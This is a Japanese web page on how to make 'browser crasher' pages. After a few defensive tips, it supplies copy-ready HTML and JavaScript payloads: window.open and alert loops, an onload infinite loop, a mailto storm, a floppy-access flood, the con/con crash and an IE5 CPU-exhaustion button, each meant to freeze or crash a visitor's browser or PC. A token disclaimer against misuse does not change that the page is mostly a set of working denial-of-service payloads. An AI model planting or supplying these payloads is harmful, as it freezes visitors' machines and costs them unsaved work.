ブラウザクラッシャー
ここではいくつかのブラウザクラッシャーの作成方法を紹介しますが、
決して作成したブラクラを悪用しないでください。
ブラクラから身を守るためには?
@JAVAスクリプトを切るのが有効です。
Aページに飛ぶ前にソースを調べて事前に防ぐ方法として、メモ帳やTerapadを利用します。(Terapadの方が見やすく表示されます。)
メモ帳(Terapad)を起動し、開くを押します。ファイル名にそのページのURLを貼り付ければ、ネットワークを通じてソースが表示されます。
BアクセスしたいURLの前に「view-source:」を追加してアクセスすることで、防ぐ方法もあります。
上記の方法でブラクラから身を守りましょうー。
windowがどんどん出てくる。
windowがどんどん開いてしまいます。
例えば「123」という名前の800×600のサイズの新しいウィンドウを出す方法は
<HEAD>〜</HEAD>の間に
<SCRIPT LANGUAGE="JavaScript">
function WindowOpen(){
open("abc.htm","window1","toolbar=no,hight=600,width=800");
}
他にも
<SCRIPT LANGUAGE="JavaScript">
<!--
for (i=0; i<100; ++i) {
window.open();
}
-->
</SCRIPT>
で100個のウィンドウが開いて、PCがリソース不足となってフリーズしてしまう。
いくら出てきた窓を閉じていっても永久に開き続けるので
脱出するには強制終了しかない。
mailtoストーム
メールを次々に沢山起動してしまうもので、
PCをフリーズさせてしまおうというものです。
<BODY>〜</BODY>の間に
<IMG SRC="mailto:1">
と書くだけで、メッセージの作成が出てきます。 沢山出す方法は
<IMG SRC="mailto:1">
<IMG SRC="mailto:2">
<IMG SRC="mailto:3">
・
・
<IMG SRC="mailto:10">
のように数字を連番で取ればOKです。
FDアタック
ページを開くとフロッピーディスクにアクセスし続けるというソースを紹介します。
これも沢山書くとフロッピーディスクドライブに延々とアクセスし続けます。
<BODY>〜</BODY>の間に
<IMG SRC="a:\1.jpg">
<IMG SRC="a:\2.jpg">
<IMG SRC="a:\3.jpg">
<IMG SRC="a:\4.jpg">
・
・
<IMG SRC="a:\100.jpg">
と書くとフロッピーディスクに 1.jpg 〜 100.jpg というファイルを探しに行きますから、フロッピーディスクが
延々と回り続けます。
CONCONクラッシャー
Windows95/98で、IEのバージョンが5.01までならfile:///c|/con/conなど存在しないファイルにアクセスすると、
Windowsがcrashするというものです。 WindowsNT/2000/XPでは何も起こりません。
<BODY>〜</BODY>の間に
<IMG SRC="file:///c|/con/con">
と書き込むだけで、そのページに入ったとたんに強制終了画面になります。
CPUの使用率が100%
Windows NT/2000版のInternet Explorer 5.0(IE5)をターゲットにした「Crash IE 5」です。
<html>
<body bgcolor="steelblue">
<form>
<input type="button" value="Crash IE 5"
onclick="document.body.style.display='none'" style="position:
absolute;
left: 40%; top: 50%; background: #777777;">
</form>
</body>
</html>
このHTMLページを読み込むと「Crash IE 5」というボタンが一つ配置されます。
それを押すとCPUの使用率が100%になってしまい、強制終了しかないようです。
ファイルを開き続ける
ページを開くと、ファイルをどんどん開いていきます。
HPの中の<body>を下のように書くだけで、無限ループに入りフリーズします。
<body onload="var i=0;while(1){open('./',i++);}">
アラート(警告窓)が開き続ける
警告のダイアログが開き、閉じても閉じても出てくる。
ダイアログが出ている間は他のことが何も出来ないです。
<HEAD>〜</HEAD>の間に
<SCRIPT LANGUAGE="JavaScript">
for ( ; ; ) {
window.alert("閉じれるかな?ヽ( ´ー`)ノ ")
}
</SCRIPT>
と書けばでダイアログを開き続けます。
強制終了しましょう。
IE6をフリーズさせる
Internet Explorer 6(IE6)のアドレスバーに「c:\aux」と入力して実行するとIE6がフリーズする。
詳しく説明すると、特定のディレクトリにアクセスするとOSごとクラッシュしてしまうバグ。CONCONバグに似ています。
対処方法は強制終了で。